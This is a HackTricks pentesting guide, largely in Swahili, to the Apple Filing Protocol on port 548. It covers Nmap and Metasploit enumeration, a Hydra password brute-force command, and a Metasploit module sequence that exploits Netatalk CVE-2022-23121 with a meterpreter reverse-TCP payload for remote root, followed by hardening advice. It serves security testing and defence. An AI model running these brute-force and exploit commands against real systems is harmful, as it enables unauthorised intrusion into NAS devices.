548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
The Apple Filing Protocol (AFP), zamani ikijulikana kama AppleTalk Filing Protocol, ni protokali maalum ya mtandao iliyojumuishwa ndani ya Apple File Service (AFS). Imeundwa kutoa huduma za faili kwa macOS na Mac OS ya jadi. AFP inajitofautisha kwa kuunga mkono majina ya faili ya Unicode, ruhusa za mtindo wa POSIX na ACL, forks za rasilimali, sifa za ziada zenye majina na mifumo ya kisasa ya kufunga faili.
Ingawa AFP imeondolewa na SMB katika toleo za kisasa za macOS (SMB ni chaguo-msingi tangu OS X 10.9), bado inakutana katika:
- Mazingira ya zamani ya macOS / Mac OS 9
- Vifaa vya NAS (QNAP, Synology, Western Digital, TrueNASβ¦) vinavyoshirikisha daemon ya wazi Netatalk
- Mitandao ya mchanganyiko ya OS ambapo Time-Machine-over-AFP bado imewezeshwa
Default TCP Port: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Quick banner / server info
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Useful AFP NSE scripts:
Script | What it does |
---|---|
afp-ls | Orodha ya kiasi na faili za AFP zinazopatikana |
afp-brute | Nguvu ya nywila dhidi ya kuingia kwa AFP |
afp-serverinfo | Tupa jina la seva, aina ya mashine, toleo la AFP, UAM zinazoungwa mkono, nk. |
afp-showmount | Orodha ya sehemu pamoja na ACL zao |
afp-path-vuln | Hupata (na inaweza kutumia) mwelekeo wa saraka, CVE-2010-0533 |
The NSE brute-force script can be combined with Hydra/Medusa if more control is required:
hydra -L users.txt -P passwords.txt afp://<IP>
Kuingiliana na hisa
macOS
# Finder β Go β "Connect to Serverβ¦"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (ukitumia afpfs-ng
β iliyopakiwa katika usambazaji nyingi)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Mara tu imewekwa, kumbuka kwamba rasilimali za Mac za jadi zinaifadhiwa kama faili za siri ._*
AppleDouble β hizi mara nyingi zina data muhimu ambayo zana za DFIR zinakosa.
Uthibitisho wa Kawaida & Ukatili
Mnyororo wa RCE usio na uthibitisho wa Netatalk (2022)
Wauzaji kadhaa wa NAS walituma Netatalk β€3.1.12. Ukosefu wa ukaguzi wa mipaka katika parse_entries()
unaruhusu mshambuliaji kuunda kichwa kibaya cha AppleDouble na kupata root ya mbali kabla ya uthibitisho (CVSS 9.8 β CVE-2022-23121). Andiko kamili kutoka NCC Group lenye PoC inayotumia Western-Digital PR4100 linapatikana.
Metasploit (>= 6.3) inatoa moduli exploit/linux/netatalk/parse_entries
ambayo inatoa mzigo kupitia DSI WRITE
.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Ikiwa lengo linaendesha firmware iliyoathiriwa ya QNAP/Synology, ufanisi wa unyakuzi unatoa shell kama root.
Netatalk OpenSession heap overflow (2018)
Netatalk ya zamani (3.0.0 - 3.1.11) ina udhaifu wa kuandika nje ya mipaka katika DSI OpenSession handler inayoruhusu utekelezaji wa msimbo usio na uthibitisho (CVE-2018-1160). Uchambuzi wa kina na PoC zilichapishwa na Tenable Research.
Masuala mengine muhimu
- CVE-2022-22995 β Uelekeo wa symlink unaopelekea kuandika faili bila mipaka / RCE wakati AppleDouble v2 imewezeshwa (3.1.0 - 3.1.17).
- CVE-2010-0533 β Safari ya saraka katika Apple Mac OS X 10.6 AFP (ilivyogunduliwa na
afp-path-vuln.nse
). - Hitilafu nyingi za usalama wa kumbukumbu zilisuluhishwa katika Netatalk 4.x (2024) β inapendekezwa kuboresha badala ya kurekebisha CVEs za kibinafsi.
Mapendekezo ya Kijamii
- Zima AFP isipokuwa inahitajika kwa dharura β tumia SMB3 au NFS badala yake.
- Ikiwa AFP lazima ibaki, boresha Netatalk hadi β₯ 3.1.18 au 4.x, au tumia firmware ya muuzaji inayorejesha patches za 2022/2023/2024.
- Lazimisha UAMs Imara (mfano DHX2), zima maandiko wazi na kuingia kwa wageni.
- Punguza TCP 548 kwa subnets zinazotegemewa na uweke AFP ndani ya VPN wakati inakabiliwa mbali.
- Piga skana mara kwa mara kwa kutumia
nmap -p 548 --script afp-*
katika CI/CD ili kugundua vifaa vya uasi / vilivyoshuka.
Brute-Force
Marejeleo
- Netatalk Security Advisory CVE-2022-23121 β "Utekelezaji wa msimbo wa kiholela katika parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research β "Kutatua Hitilafu ya Miaka 18 (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.